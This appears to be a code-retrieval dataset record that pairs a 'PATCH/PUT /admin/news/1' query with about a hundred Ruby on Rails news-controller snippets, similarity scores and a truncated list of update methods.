[ "def create\n @admin_news = Admin::News.new(admin_news_params)\n\n respond_to do |format|\n if @admin_news.save\n format.html { redirect_to session['previous_url'] || admin_news_index_url, notice: 'News è stato creato con successo.' }\n format.json { render :show, status: :created, location: @admin_news }\n else\n format.html { render :new }\n format.json { render json: @admin_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = New.new(news_params)\n\n if @news.save\n render json: @news, status: :created\n else\n render json: @news.errors, status: :unprocessable_entity\n end\n end", "def create\n @admin_news = Admin::News.new(admin_news_params)\n\n respond_to do |format|\n if @admin_news.save\n format.html { redirect_to admin_news_index_path, notice: '新增新聞成功' }\n format.json { render :show, status: :created, location: @admin_news }\n else\n format.html { render :new }\n format.json { render json: @admin_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_useful_news = Admin::UsefulNews.new(params[:useful_news])\n\n respond_to do |format|\n if @admin_useful_news.save\n format.html { redirect_to admin_useful_news_index_path, notice: 'Useful news was successfully created.' }\n format.json { render json: @admin_useful_news, status: :created, location: @admin_useful_news }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_useful_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admins_news = Admins::News.new(admins_news_params)\n\n respond_to do |format|\n if @admins_news.save\n format.html { redirect_to @admins_news, notice: 'News was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admins_news }\n else\n format.html { render action: 'new' }\n format.json { render json: @admins_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(params[:news])\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: 'News was successfully created.' }\n format.json { render json: @news, status: :created, location: @news }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(params[:news])\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: 'Новость добавлена.' }\n format.json { render json: @news, status: :created, location: @news }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = current_user.news.new(news_params)\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: 'News was successfully created.' }\n format.json { render :show, status: :created, location: @news }\n else\n format.html { render :new }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(news_params)\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: 'An item was successfully created.' }\n format.json { render :show, status: :created, location: @news }\n else\n format.html { render :new }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\tif !current_user\n\t\t\tredirect_to '/'\n\t\t\treturn\n\t\tend\n\t\t@news = News.new(news_params)\n\n\t\trespond_to do |format|\n\t\t\tif isAdmin && @news.save\n\t\t\t\tformat.html { redirect_to \"/admin/\" }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @news.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @new = @user.news.new(params[:new])\n @new.save\n flash[:notice] = :create_successful\n redirect_to admin_news_index_path()\n end", "def create\n @news = News.new(news_params)\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: 'news was successfully created.' }\n format.json { render action: 'show', status: :created, location: @news}\n else\n format.html { render action: 'new' }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n pt = params[:news]\n @news = News.new(pt)\n @news.user_id = current_user.id\n @news.node_id = params[:node] || pt[:node_id]\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: t(\"news.create_news_success\")}\n format.json { render json: @news, status: :created, location: @news }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(news_params)\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to news_index_path, notice: 'Uutinen lisätty' }\n format.json { render :index, status: :created, location: news_index_path }\n else\n @alert = @news.errors\n format.html { render :new }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = current_user.news.new(news_params)\n @news.date = DateTime.current\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: 'Новость успешно создана' }\n format.json { render :show, status: :created, location: @news }\n else\n format.html { render :new }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(news_params)\n @news.DateTime = Time.now.asctime\n @news.user_id = current_user.id\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, success: 'Запись успешно обновлена.' }\n format.json { render :show, status: :created, location: @news }\n else\n format.html { render :new }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @page_title = 'Создание новости'\n @news = News.new(news_params)\n \n if user_signed_in?\n @news.user_id ||= current_user.id\n @news.status ||= 'published'\n else\n @news.status = 'draft'\n end\n\n respond_to do |format|\n if @news.save\n if user_signed_in?\n format.html { redirect_to @news, notice: 'Новость успешно добавлена!' }\n format.json { render :show, status: :created, location: @news }\n else\n format.html { redirect_to root_path, notice: 'Новость успешно создана! Пожалуйста, дождитесь проверки.' }\n format.json { render :show, status: :created, location: @news }\n end\n else\n format.html { render :new }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news_item = NewsItem.new(news_item_params)\n\n respond_to do |format|\n if @news_item.save\n format.html { redirect_to [:admin, @news_item], notice: 'News item was successfully created.' }\n format.json { render :show, status: :created, location: @news_item }\n else\n format.html { render :new }\n format.json { render json: @news_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news_post = NewsPost.new(params[:news_post])\n\n respond_to do |format|\n if @news_post.save\n format.html { redirect_to @news_post, notice: 'News post was successfully created.' }\n format.json { render json: @news_post, status: :created, location: @news_post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news_post = NewsPost.new(params[:news_post])\n\n respond_to do |format|\n if @news_post.save\n format.html { redirect_to @news_post, notice: 'News post was successfully created.' }\n format.json { render json: @news_post, status: :created, location: @news_post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(news_params)\n respond_to do |format|\n if @news.save\n format.html { redirect_to thank_you_for_submitting_news_path }\n format.json { render :show, status: :created, location: @news }\n else\n format.html { render :new }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(params[:news])\n @news.user = current_user\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to([:admin, @news], :notice => 'News was successfully created.') }\n format.xml { render :xml => @news, :status => :created, :location => @news }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @article_news = ArticleNew.new(article_news_params)\n\n respond_to do |format|\n if @article_news.save\n format.html { redirect_to @article_news, notice: \"Article new was successfully created.\" }\n format.json { render :show, status: :created, location: @article_news }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @article_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n # Create new news\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @news_post }\n end\n end", "def new\n @news = News.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "def create\n @user_news = UserNews.new(user_news_params)\n\n respond_to do |format|\n if @user_news.save\n format.html { redirect_to @user_news, notice: 'Пользовательская новость была успешно создана.' }\n format.json { render :show, status: :created, location: @user_news }\n else\n format.html { render :new }\n format.json { render json: @user_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # Get current user\n @user = current_user\n # Create news using the parameters from the user's request\n @news = @user.news.build(params[:news])\n\n respond_to do |format|\n # Save the news\n # Case 1: News saved\n if @news.save\n # Redirect the user to the news details (show) page\n # Display success message\n format.html { redirect_to @news, notice: 'News was successfully created.' }\n format.json { render json: @news, status: :created, location: @news }\n # Case 2: News not saved\n else\n # Render new news form and display any errors\n format.html { render action: \"new\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def postNews\n @new = New.new\n @new.headline = params[\"headline\"]\n @new.content = params[\"content\"]\n @new.user_id = session[:user_id]\n if @new.save\n flash[:success] = \"News submitted successfully\"\n redirect_to :action => 'index'\n else\n flash[:warning] = \"Fail to submit news\"\n redirect_to :action => 'submit' \n end\n end", "def new\n @admin_useful_news = Admin::UsefulNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_useful_news }\n end\n end", "def create\n @user = current_user\n @news_post = @user.news_posts.create(params[:news_post])\n authorize! :create, @news_post, :user_id => current_user.id\n\n respond_to do |format|\n if @news_post.save\n format.html { redirect_to @news_post, :notice => 'Веста е успешно објавена.' }\n format.json { render :json => @news_post, :status => :created, :location => @news_post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @news_post.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n user = current_user\n params[:news][:category_news_id] = params[:category]\n \n @news = user.news.new(params[:news])\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to news_index_url, notice: 'News was successfully created.' }\n format.json { render json: @news, status: :created, location: @news }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end", "def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end", "def create\n @news_update = NewsUpdate.new(news_update_params)\n\n respond_to do |format|\n if @news_update.save\n format.html { redirect_to @news_update, notice: 'News update was successfully created.' }\n format.json { render :show, status: :created, location: @news_update }\n else\n format.html { render :new }\n format.json { render json: @news_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def admins_news_params\n params.require(:admins_news).permit(:headline, :description, :news_type, :date)\n end", "def create\n respond_to do |format|\n if @news_item.save\n format.html { redirect_to @news_item, :notice => 'News item was successfully created.' }\n format.json { render :json => @news_item, :status => :created, :location => @news_item }\n else\n format.html { render action: 'new' }\n format.json { render :json => @news_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @news = New.order('created_at DESC')\n render json: @news.as_json(except: [:body], methods: [:short_body]), status: :ok\n end", "def create\n @news_story = NewsStory.new(news_story_params)\n\n respond_to do |format|\n if @news_story.save\n format.html { redirect_to @news_story, notice: 'News story was successfully created.' }\n format.json { render :show, status: :created, location: @news_story }\n else\n format.html { render :new }\n format.json { render json: @news_story.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(params[:news])\n @news.status = News::INACTIVE_STATUS\n if !params[:news][:content].blank?\n params[:news][:content] = sanitize(params[:news][:content])\n end\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to([:admin,@news], :notice => 'News was successfully created.') }\n format.xml { render :xml => @news, :status => :created, :location => @news }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def news_params\n params.require(:news).permit(:title, :date, :article)\n end", "def create\n @live_news = LiveNews.new(params[:live_news])\n\n respond_to do |format|\n if @live_news.save\n format.html { redirect_to(admin_live_news_path(@live_news), :notice => 'Live news was successfully created.') }\n format.xml { render :xml => @live_news, :status => :created, :location => @live_news }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @live_news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @newsinfo = Newsinfo.new(newsinfo_params)\n\n respond_to do |format|\n if @newsinfo.save\n format.html { redirect_to @newsinfo, notice: 'Newsinfo was successfully created.' }\n format.json { render action: 'show', status: :created, location: @newsinfo }\n else\n format.html { render action: 'new' }\n format.json { render json: @newsinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(params[:news])\n \n respond_to do |format|\n if @news.save\n format.html { redirect_to edit_category_news_path(@news.category, @news), notice: 'News was successfully created.' }\n format.json { render json: @news, status: :created, location: @news }\n else\n format.html { render action: \"new\", :category_id => @news.category, :id => @news }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new()\n @news.title = news_params[\"title\"]\n @news.content = news_params[\"content\"]\n @news.post_date = Time.now\n @news.user_id = @current_user.id\n if news_params[\"published\"] == \"true\"\n @news.published = true\n else\n @news.published = false\n end\n\n username = @current_user.last_name\n @mailing_list = get_mailing_list\n\n respond_to do |format|\n if @news.save\n if @news.published == true\n NewsMailer.news_created(@news, username, @mailing_list).deliver_now\n format.html { redirect_to \"/admin\", notice: 'Stirea a fost publicata cu succes' }\n format.json { render action: 'show', status: :created, location: @news }\n else\n format.html { redirect_to \"/admin\", notice: 'Stirea a fost creata si poate fi editata' }\n format.json { render action: 'show', status: :created, location: @news }\n end\n end\n end\n end", "def create\n @news = News.new(news_params)\n\n if @news.save\n # format.html { redirect_to @new, notice: 'New was successfully created.' }\n # format.json { render :show, status: :created, location: @new }\n else\n # format.html { render :new }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n @delete = News.find_by id: @news.id\n @delete.destroy()\n end", "def news_params\n params.require(:news).permit(:title, :content, :post_date, :user_id, :published, :news_id)\n end", "def create\n @news = News.new(params[:news])\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to(@news, :notice => 'News was successfully created.') }\n format.xml { render :xml => @news, :status => :created, :location => @news }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(params[:news])\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to(@news, :notice => 'News was successfully created.') }\n format.xml { render :xml => @news, :status => :created, :location => @news }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @news_latest = NewsLatest.new(news_latest_params)\n\n respond_to do |format|\n if @news_latest.save\n format.html { redirect_to action: \"index\", notice: 'News latest was successfully created.' }\n format.json { render :show, status: :created, location: @news_latest }\n else\n format.html { render :new }\n format.json { render json: @news_latest.errors, status: :unprocessable_entity }\n end\n end\n end", "def news_params\n params.require(:news).permit(:title, :string, :subtitle, :body)\n end", "def news_params\n params.require(:news).permit(:user_id, :title, :teaser, :text, :created_at, :updated_at)\n end", "def news_params\n params.require(:news).permit(:title, :news_id, :url)\n end", "def create\n @news = News.new(params[:news])\n\n respond_to do |format|\n if @news.save\n flash[:notice] = 'News was successfully created.'\n format.html { redirect_to([:admin, @news]) }\n format.xml { render :xml => @news, :status => :created, :location => @news }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @studentnews = Studentnews.new(studentnews_params)\n\n respond_to do |format|\n if @studentnews.save\n format.html { redirect_to @studentnews, notice: 'Studentnews was successfully created.' }\n format.json { render :show, status: :created, location: @studentnews }\n else\n format.html { render :new }\n format.json { render json: @studentnews.errors, status: :unprocessable_entity }\n end\n end\n end", "def news_params\n params.require(:news).permit(:title, :author, :date, :content, :image, :category, :status)\n end", "def create\n @news_cate = NewsCate.find(params[:news_cate_id])\n @news_datum = NewsDatum.new(params[:news_datum])\n @news_datum.news_cate = @news_cate\n respond_to do |format|\n if @news_datum.save\n format.html { redirect_to @news_datum, notice: 'News datum was successfully created.' }\n format.json { render json: @news_datum, status: :created, location: @news_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.haml\n format.json { render :json => @news_item }\n end\n end", "def create\n params[:post_date] = DateTime.now\n respond_to do |format|\n @news_item.assign_attributes(params, :as=>@role)\n if @news_item.save\n\t format.html { redirect_to @news_item, :notice => 'NewsItem was successfully updated.' }\n format.json { render :json => @news_item.ajax_attrs(@role) }\n else\n\t format.html { redirect_to @news_item, :notice => 'Failure updating news_item.' }\n format.json { render :json=>report_error(@news_item)}\n\tend\n end\n end", "def new\n @news_list = NewsList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_list }\n end\n end", "def create\n @news = News.new(params[:news])\n @news.user = current_user\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to(@news, :notice => 'News was successfully created.') }\n format.xml { render :xml => @news, :status => :created, :location => @news }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @news_list = NewsList.new(params[:news_list])\n\n respond_to do |format|\n if @news_list.save\n format.html { redirect_to @news_list, notice: 'News list was successfully created.' }\n format.json { render json: @news_list, status: :created, location: @news_list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:news][:category] = \"默认\" if params[:news][:category] == \"\"\n @news = News.new(params[:news])\n\n respond_to do |format|\n if @news.save\n flash[:success] = \"恭喜。新闻创建成功\"\n format.html { redirect_to news_index_path(id: @news.id) }\n format.json { render json: @news, status: :created, location: @news }\n else\n flash.now[:error] = \"对不起,输入有误。请重新输入\"\n format.html { render action: \"new\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def news_params\n params.permit(:news_text, :status, :user_id)\n end", "def create\n @staffnews = Staffnews.new(staffnews_params)\n\n respond_to do |format|\n if @staffnews.save\n format.html { redirect_to @staffnews, notice: 'Staffnews was successfully created.' }\n format.json { render :show, status: :created, location: @staffnews }\n else\n format.html { render :new }\n format.json { render json: @staffnews.errors, status: :unprocessable_entity }\n end\n end\n end", "def news_params\n params.require(:news).permit(:title, :body)\n end", "def api_v1_news_params\n params.require(:news).permit(:title, :content, :author, :status, :active, :category)\n end", "def create\n @newsbar = Newsbar.new(newsbar_params)\n\n respond_to do |format|\n if @newsbar.save\n format.html { redirect_to @newsbar, notice: 'Newsbar was successfully created.' }\n format.json { render :show, status: :created, location: @newsbar }\n else\n format.html { render :new }\n format.json { render json: @newsbar.errors, status: :unprocessable_entity }\n end\n end\n end", "def news_params\n params.require(:news).permit(:user_id, :content, :date, :title, :category_id)\n end", "def create\n @system_news = System::News.new(system_news_params)\n @system_news.user = current_user\n authorize @system_news, :create?\n respond_to do |format|\n if @system_news.save\n format.html { redirect_to @system_news, notice: 'News was successfully created.' }\n format.json { render action: 'show', status: :created, location: @system_news }\n else\n format.html { render action: 'new' }\n format.json { render json: @system_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news_feed = NewsFeed.new(news_feed_params)\n\n respond_to do |format|\n if @news_feed.save\n flash[:notice] = t('controller.successfully_created', model: t('activerecord.models.news_feed'))\n format.html { redirect_to(@news_feed) }\n format.json { render json: @news_feed, status: :created, location: @news_feed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news_feed.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @newsfeed = Newsfeed.new(newsfeed_params)\n\n respond_to do |format|\n if @newsfeed.save\n format.html { redirect_to @newsfeed, notice: 'Newsfeed was successfully created.' }\n format.json { render :show, status: :created, location: @newsfeed }\n else\n format.html { render :new }\n format.json { render json: @newsfeed.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gg_news = GgNews.new(gg_news_params)\n\n respond_to do |format|\n if @gg_news.save\n format.html { redirect_to @gg_news, notice: 'Gg news was successfully created.' }\n format.json { render action: 'show', status: :created, location: @gg_news }\n else\n format.html { render action: 'new' }\n format.json { render json: @gg_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def newsfeed\n check_auth :newsfeed\n \n response = connection.post do |req|\n req.url '/user/newsfeed'\n req.body = { :format => @format }\n end\n response\n end", "def create\n @news = News.new(news_params)\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to admin_quarters_path(q: @quarter.slug), notice: t('shared.msgs.success_created',\n obj: t('activerecord.models.news', count: 1)) }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @project_news = ProjectNews.new(project_news_params)\n\n respond_to do |format|\n if @project_news.save\n format.html { redirect_to @project_news, notice: 'Project news was successfully created.' }\n format.json { render :show, status: :created, location: @project_news }\n else\n format.html { render :new }\n format.json { render json: @project_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def news_params\n params.require(:news).permit(:title, :cover, :content, :status, :fb_meta_description)\n end", "def create\n @news_post = NewsPost.new(news_post_params)\n @news_post.category = news_post_params[:for_roles]\n\n respond_to do |format|\n if @news_post.save\n format.html { redirect_to @news_post, notice: t('news.post_created') }\n format.json { render action: 'show', status: :created, location: @news_post }\n else\n format.html { render action: 'new' }\n format.json { render json: @news_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news_article = NewsArticle.new(params[:news_article])\n \n respond_to do |format|\n if @news_article.save\n flash[:notice] = 'NewsArticle was successfully created.'\n format.html { redirect_to(@news_article) }\n format.xml { render :xml => @news_article, :status => :created, :location => @news_article }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @news_article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def addnews\n \nend", "def new\n @news_datum = NewsDatum.new\n @news_cates = NewsCate.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_datum }\n end\n end", "def create\n @api_v1_news_link = Api::V1::NewsLink.new(api_v1_news_link_params)\n\n respond_to do |format|\n if @api_v1_news_link.save\n format.html { redirect_to @api_v1_news_link, notice: 'News link was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_news_link }\n else\n format.html { render :new }\n format.json { render json: @api_v1_news_link.errors, status: :unprocessable_entity }\n end\n end\n end", "def news_params\n params.require(:news).permit(:text, :header, :priority)\n end", "def news_params\n params.require(:news).permit(:title, :content, :category)\n end", "def admin_news_params\n params.require(:admin_news).permit(:title, :title_en, :content, :content_en, :main_visual, :is_public, :date_of_news, :main_visual2, :is_order_form, :news_link)\n end", "def create\n @auction_news = AuctionNew.new(auction_news_params)\n\n respond_to do |format|\n if @auction_news.save\n format.html { redirect_to @auction_news, notice: 'Auction new was successfully created.' }\n format.json { render :show, status: :created, location: @auction_news }\n else\n format.html { render :new }\n format.json { render json: @auction_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def news_params\n params.require(:news).permit(:title, :subtitle, :body, :small_image)\n end", "def create\n @newsline = Newsline.new(newsline_params)\n\n respond_to do |format|\n if @newsline.save\n format.html { redirect_to @newsline, notice: 'Newsline was successfully created.' }\n format.json { render :show, status: :created, location: @newsline }\n else\n format.html { render :new }\n format.json { render json: @newsline.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @hotnews_read = HotnewsRead.new(params[:hotnews_read])\n\n respond_to do |format|\n if @hotnews_read.save\n format.html { redirect_to @hotnews_read, notice: 'Hotnews read was successfully created.' }\n format.json { render json: @hotnews_read, status: :created, location: @hotnews_read }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hotnews_read.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_article = Admin::Article.new(params[:admin_article])\n\n respond_to do |format|\n if @admin_article.save\n format.html { redirect_to @admin_article, notice: 'Article was successfully created.' }\n format.json { render json: @admin_article, status: :created, location: @admin_article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @notice = Notice.new(notice_params)\r\n @notice.admin = current_admin\r\n\r\n respond_to do |format|\r\n if @notice.save\r\n format.html { redirect_to news_path, notice: 'Notícia criada com sucesso.' }\r\n format.json { render :show, status: :created, location: news_path }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @notice.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def news_params\n\t\tparams.require(:news).permit(:title, :content, :sticky)\n\tend", "def create\n @wnews_post = current_user.wnews_posts.build(wnews_post_params)\n\n respond_to do |format|\n if @wnews_post.save\n format.html { redirect_to @wnews_post, notice: 'Wnews post was successfully created.' }\n format.json { render :show, status: :created, location: @wnews_post }\n else\n format.html { render :new }\n format.json { render json: @wnews_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news_event = @university.news_events.create(news_event_params)\n\n respond_to do |format|\n if @news_event.save\n format.html { redirect_to ([@news_event.university, @news_event]), notice: 'News event was successfully created.' }\n format.json { render :show, status: :created, location: @news_event }\n else\n format.html { render :new }\n format.json { render json: @news_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def article_news_params\n params.require(:article_news).permit(:title, :description)\n end", "def news_params\n params.require(:news).permit(:title, :description, :location, :full, :date, :created_at, :image)\n end", "def news_article_params\n params.require(:news_article).permit(:title, :body, :categories_id, :users_id)\n end" ]
[ "0.77736366", "0.7676479", "0.7631418", "0.7615547", "0.7609859", "0.7413583", "0.73993707", "0.7390492", "0.73892623", "0.738267", "0.73760337", "0.7309467", "0.72660184", "0.72549134", "0.72340685", "0.72312516", "0.7191794", "0.71420455", "0.7114383", "0.7114383", "0.7102407", "0.708265", "0.7061962", "0.7017556", "0.7016978", "0.70085406", "0.70001215", "0.6999552", "0.69995105", "0.6988574", "0.69791013", "0.69642556", "0.6946818", "0.6942953", "0.6936791", "0.6909396", "0.6909396", "0.69000113", "0.6888742", "0.688113", "0.6879024", "0.6873873", "0.68556356", "0.6845705", "0.684406", "0.6838794", "0.68270665", "0.6795961", "0.6791688", "0.67872256", "0.67840075", "0.67840075", "0.6780663", "0.67745084", "0.6760768", "0.67585504", "0.675517", "0.6749842", "0.67483413", "0.67467767", "0.67392725", "0.6736391", "0.67326814", "0.67261887", "0.6716345", "0.67155963", "0.67153156", "0.6714598", "0.6708295", "0.66678363", "0.66476023", "0.6632693", "0.66257167", "0.66154736", "0.6611201", "0.6610302", "0.65675694", "0.65622175", "0.6542707", "0.65218663", "0.6517114", "0.6512996", "0.6511843", "0.65060014", "0.65037173", "0.65031296", "0.6502895", "0.64985293", "0.64802957", "0.64691144", "0.64682907", "0.645778", "0.64385587", "0.64294827", "0.64285064", "0.6428246", "0.6424742", "0.641123", "0.64033335", "0.640326" ]
0.7149445
17
PATCH/PUT /admin/news/1 PATCH/PUT /admin/news/1.json
def update if @news.update(news_params) redirect_to admin_news_index_path, notice: 'Новость успешно отредактированна!' else render :edit end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @news = News.find(params[:id])\n pt = params[:news]\n @news.node_id = pt[:node_id]\n @news.title = pt[:title]\n @news.body = pt[:body]\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to @news, notice: t(\"news.update_news_success\") }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_news.update(admin_news_params)\n format.html { redirect_to session['previous_url'] || admin_news_index_url, notice: 'News è stato aggiornato con successo.' }\n format.json { render :show, status: :ok, location: @admin_news }\n else\n format.html { render :edit }\n format.json { render json: @admin_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @admin_useful_news = Admin::UsefulNews.find(params[:id])\n\n respond_to do |format|\n if @admin_useful_news.update_attributes(params[:useful_news])\n format.html { redirect_to admin_useful_news_index_path, notice: 'Useful news was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_useful_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n @news.title = news_params[\"title\"]\n @news.content = news_params[\"content\"]\n @news.user_id = @current_user.id\n if @news.save\n format.html { redirect_to @news, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to([:admin, @news], :notice => 'News was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to @news, notice: 'Новость изменена.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_news.update(admin_news_params)\n format.html { redirect_to admin_news_index_path, notice: '更新新聞成功' }\n format.json { render :show, status: :ok, location: @admin_news }\n else\n format.html { render :edit }\n format.json { render json: @admin_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to @news, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to users_path, notice: 'Noticia modificada exitosamente' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admins_news.update(admins_news_params)\n format.html { redirect_to @admins_news, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admins_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { 